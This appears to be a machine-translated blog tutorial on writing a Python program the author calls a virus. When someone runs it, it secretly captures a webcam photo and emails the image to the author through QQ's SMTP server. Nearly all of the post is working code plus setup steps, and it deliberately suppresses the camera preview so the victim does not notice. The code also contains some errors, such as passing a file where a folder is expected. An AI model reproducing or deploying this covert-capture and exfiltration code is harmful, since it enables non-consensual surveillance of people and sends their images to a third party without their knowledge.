content
Installation of other necessary modules
hello!
I still remember an idea when I was a child. In the future, I would make a virus. As soon as someone opened the program, he would secretly take a picture of him and send it to my mailbox automatically. This was also a small wish of mine at that time.
This idea was basically impossible to realize at the time, but it will be realized now.
take pictures
First of all, the opencv library is required to take pictures
This library stuck me for days, it just couldn't stay alive
installation of opencv
method one
terminal run input
pip install opencv-python
This method may not work, depends on luck
Method 2
Go to GitHub to download manually, URL: link
The download is a file named "opencv-python-master", you save it to the path where you downloaded the python environment
For example, your path is in the folder C:/home/xxxx/...../python3.6/lib/site-package
You enter the compiler (take pycharm as an example), enter " import cv2 " to see if any errors are reported
If there is an error, go to Method 3
If there is no error, congratulations, the installation is successful!
way three
If not installed, open your PyCharm
File--->Setting
Then come out of this page, click here
The above is to install opencv
Installation of other necessary modules
pip install exifread
The above content cmd run
There are also some modules, yours may be built-in, if there is an error in the code for a while, install it according to this template
pip/pip3 + install + 模块名
take pictures
Now that we have opencv, isn't it more than enough to take pictures?
def getphoto():
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cv2.imwrite('1.jpg', frame)
#cv2.imshow("capture", frame)
cap.release()
cv2.destroyAllWindows()
code explanation
This program is the code for cv2 to call the camera. I will write a detailed introduction below.
Note that I commented out that line. If I remove the comment and run the program, a gray box will flash.
This is what the camera is showing
And I said before that it was taking pictures secretly, so this line of code is commented out, you can remove the comment and see the effect yourself
VideoCapture
cv2.VideoCapture() is used to read video and can also be used to read camera images.
The argument to videocapture() is the index number of the device, or a video file. If the device index number is the built-in camera of its own notebook, its parameter is 0. You can set 1 or others to select other cameras.
Setting a variable cap=cv2.VidevCapture(0) here is to save the image to the variable cap
read
ret, frame = cap.read ()
This line means
Read the video frame by frame, the return value ret is a boolean type, it will return True if it is read correctly, and it will return False if the reading fails or the end of the video is read. The frame is the image of each frame, where the image is a three-dimensional matrix, that is, frame.shape = (640,480,3), and the read image is in BGR format.
imwrite
Use the function cv2.imwrite(file, img, num) to save an image. The first parameter is the filename to save and the second parameter is the image to save. The optional third parameter, which is for a specific format: for JPEG, it indicates the quality of the image, expressed as an integer from 0 to 100, the default is 95; for png, the third parameter indicates the compression level. Default is 3.
release
This function is to release resources
Because you haven't released the camera device resource, it will raise an error such as Device or resource busy, which will raise an OpenCV exception
Finally, turn off the camera and you're done! !
send email
This is troublesome, but how can you see a rainbow without experiencing wind and rain?
First, log in to your QQ, click this to open the mailbox
point settings
select account
find this
If yours is off, turn it on and you'll get a password
remember this password
Happy coding! ! !
First look at the operation effect
As soon as I ran it, I saw a flash on the camera, and then I received an email.
You can see that there is a person (the original picture I have adjusted the brightness of the code, it is very clear, I have typed the code here)
code
import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import random
import os
import numpy as np
import cv2
import exifread
def getphoto():
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cv2.imwrite('1.jpg', frame)
cv2.imshow("capture", frame)
cap.release()
cv2.destroyAllWindows()
def send_email(msg_from, passwd, msg_to, text_content, file_path):
msg = MIMEMultipart()
subject = "有人打开程序!" # 主题
text = MIMEText(text_content)
msg.attach(text)
file_path = r'1.jpg'
if file_path:
docFile = file_path
docApart = MIMEApplication(open(docFile, 'rb').read())
docApart.add_header('Content-Disposition', 'attachment', filename=docFile)
msg.attach(docApart)
msg['Subject'] = subject
msg['From'] = msg_from
msg['To'] = msg_to
try:
s = smtplib.SMTP_SSL("smtp.qq.com", 465)
s.login(msg_from, passwd)
s.sendmail(msg_from, msg_to, msg.as_string())
except smtplib.SMTPException as e:
print("Error")
finally:
s.quit()
def read_path(file_pathname,shu):
for filename in os.listdir(file_pathname):
print(filename)
img = cv2.imread(file_pathname+'/'+filename)
image = np.power(img, shu) # 对像素值指数变换
cv2.imwrite(filename, image)
if __name__ == '__main__':
getphoto()
img = cv2.imread('1.jpg')
# 把图片转换为单通道的灰度图
gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# 获取形状以及长宽
img_shape = gray_img.shape
height, width = img_shape[0], img_shape[1]
size = gray_img.size
# 灰度图的直方图
hist = cv2.calcHist([gray_img], [0], None, [256], [0, 256])
# 计算灰度图像素点偏离均值(128)程序
a = 0
ma = 0
# np.full 构造一个数组,用指定值填充其元素
reduce_matrix = np.full((height, width), 128)
shift_value = gray_img - reduce_matrix
shift_sum = np.sum(shift_value)
da = shift_sum / size
# 计算偏离128的平均偏差
for i in range(256):
ma += (abs(i - 128 - da) * hist[i])
m = abs(ma / size)
# 亮度系数
k = abs(da) / m
#print(k)
if k[0] > 1:
# 过亮
if da > 0:
read_path("1.jpg",0.8)
else:
read_path("1.jpg",1.2)
fr = open("1.jpg","rb")
imageinfo=exifread.process_file(fr)
msg_from = '[email protected]' # 发送方邮箱(写你的邮箱)
passwd = 'xxxxxxxx'#这个地方写你刚才获得的密码
msg_to = '[email protected]'#接受方邮箱(写你的邮箱)
text_content = "有人打开了程序!"
file_path = '1.jpg' # 需要发送的附件目录
send_email(msg_from, passwd, msg_to, text_content, file_path)
Okay, you can take it for a whole person.
At last
Hahahahahaha!
It can be a whole person! !
I hope to be on the hot list, it doesn't matter if you are in the 100th place, it's a sense of achievement to play, hahahahaha
goodbye!